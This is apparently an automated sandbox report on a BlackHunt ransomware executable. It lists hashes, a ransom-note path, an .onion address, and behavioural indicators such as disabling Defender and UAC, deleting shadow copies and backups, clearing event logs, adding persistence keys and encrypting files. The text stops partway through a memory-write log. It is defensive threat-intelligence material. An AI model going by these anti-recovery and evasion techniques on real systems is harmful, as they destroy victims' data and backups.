Analysis
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max time kernel
147s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:33
Static task
static1
Behavioral task
behavioral1
Sample
ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe
Resource
win10v2004-20231222-en
General
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Target
ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe
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Size
707KB
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MD5
fd2a2149cccbd07de71a68ef6bf0a493
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SHA1
a6298eec582442127bf5bc67bb765cac4554243f
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SHA256
ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1
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SHA512
f02de4662ff2ccaef41f7d8ede376b2f5d4818d308e8ce8d53306def2a6fe96198b18624f53d665c35cd16cd51f46c1dedd82a89b7ccc58f93d494cd37979100
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1h8Wvnh:6uaTmkZJ+naie5OTamgEoKxLWUoh
Malware Config
Extracted
F:\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2136 fsutil.exe 1756 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 1240 wevtutil.exe 2896 wevtutil.exe 2516 wevtutil.exe 2768 wevtutil.exe 1572 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2764 bcdedit.exe 2488 bcdedit.exe 1692 bcdedit.exe 2484 bcdedit.exe -
Renames multiple (804) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2452 wbadmin.exe 2864 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 928 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\H: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\V: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\Y: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\S: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\A: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\G: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\L: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\X: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\B: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\J: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\M: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\Q: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\O: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\T: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\N: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\W: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\I: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\P: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\K: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\Z: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_SelectionSubpicture.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\currency.data ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\7-Zip\Lang\bg.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\7-Zip\Lang\pt.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Toronto ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\7-Zip\Lang\lv.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_SelectionSubpicture.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Palmer ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Irkutsk ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\7-Zip\Lang\ka.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Panama ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\#BlackHunt_ReadMe.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.xml ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Gibraltar ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_Private.key ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ndjamena ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_ReadMe.hta ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_ja.properties ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Juneau ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santo_Domingo ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DissolveNoise.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_Private.key ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\ECLIPSE_.RSA ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Menominee ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ulaanbaatar ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\7-Zip\#BlackHunt_Private.key ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\7-Zip\Lang\ar.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\travel.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.xml ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_hu.jar ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_ReadMe.txt ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Metlakatla ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-8 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\audiodepthconverter.ax ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\blackbars60.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Canary ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-background.png ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 712 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2944 vssadmin.exe 1048 vssadmin.exe 2916 vssadmin.exe 2252 vssadmin.exe 1568 vssadmin.exe 2376 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2636 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2040 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2100 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeRestorePrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeBackupPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeTakeOwnershipPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeAuditPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeSecurityPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeIncBasePriorityPrivilege 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe Token: SeBackupPrivilege 1936 vssvc.exe Token: SeRestorePrivilege 1936 vssvc.exe Token: SeAuditPrivilege 1936 vssvc.exe Token: SeBackupPrivilege 2804 wbengine.exe Token: SeRestorePrivilege 2804 wbengine.exe Token: SeSecurityPrivilege 2804 wbengine.exe Token: SeSecurityPrivilege 1572 wevtutil.exe Token: SeSecurityPrivilege 2896 wevtutil.exe Token: SeBackupPrivilege 2896 wevtutil.exe Token: SeSecurityPrivilege 2768 wevtutil.exe Token: SeBackupPrivilege 2768 wevtutil.exe Token: SeBackupPrivilege 1572 wevtutil.exe Token: SeSecurityPrivilege 2516 wevtutil.exe Token: SeBackupPrivilege 2516 wevtutil.exe Token: SeSecurityPrivilege 1240 wevtutil.exe Token: SeBackupPrivilege 1240 wevtutil.exe Token: SeDebugPrivilege 2636 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2672 wrote to memory of 2740 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 29 PID 2672 wrote to memory of 2740 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 29 PID 2672 wrote to memory of 2740 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 29 PID 2672 wrote to memory of 2740 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 29 PID 2672 wrote to memory of 2712 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 30 PID 2672 wrote to memory of 2712 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 30 PID 2672 wrote to memory of 2712 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 30 PID 2672 wrote to memory of 2712 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 30 PID 2672 wrote to memory of 2720 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 31 PID 2672 wrote to memory of 2720 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 31 PID 2672 wrote to memory of 2720 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 31 PID 2672 wrote to memory of 2720 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 31 PID 2672 wrote to memory of 2100 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 32 PID 2672 wrote to memory of 2100 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 32 PID 2672 wrote to memory of 2100 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 32 PID 2672 wrote to memory of 2100 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 32 PID 2672 wrote to memory of 3024 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 33 PID 2672 wrote to memory of 3024 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 33 PID 2672 wrote to memory of 3024 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 33 PID 2672 wrote to memory of 3024 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 33 PID 2672 wrote to memory of 696 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 37 PID 2672 wrote to memory of 696 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 37 PID 2672 wrote to memory of 696 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 37 PID 2672 wrote to memory of 696 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 37 PID 2672 wrote to memory of 784 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 38 PID 2672 wrote to memory of 784 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 38 PID 2672 wrote to memory of 784 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 38 PID 2672 wrote to memory of 784 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 38 PID 2672 wrote to memory of 2948 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 40 PID 2672 wrote to memory of 2948 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 40 PID 2672 wrote to memory of 2948 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 40 PID 2672 wrote to memory of 2948 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 40 PID 2672 wrote to memory of 2980 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 42 PID 2672 wrote to memory of 2980 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 42 PID 2672 wrote to memory of 2980 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 42 PID 2672 wrote to memory of 2980 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 42 PID 2672 wrote to memory of 2908 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 45 PID 2672 wrote to memory of 2908 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 45 PID 2672 wrote to memory of 2908 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 45 PID 2672 wrote to memory of 2908 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 45 PID 2672 wrote to memory of 780 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 47 PID 2672 wrote to memory of 780 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 47 PID 2672 wrote to memory of 780 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 47 PID 2672 wrote to memory of 780 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 47 PID 2672 wrote to memory of 2996 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 48 PID 2672 wrote to memory of 2996 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 48 PID 2672 wrote to memory of 2996 2672 ff3d354fa67fbda938cd1ca2cc8baa92e05c381913f288c75442b9a3e4cbcee1.exe 48 PID 2672 wrote to memory of 2996 2672 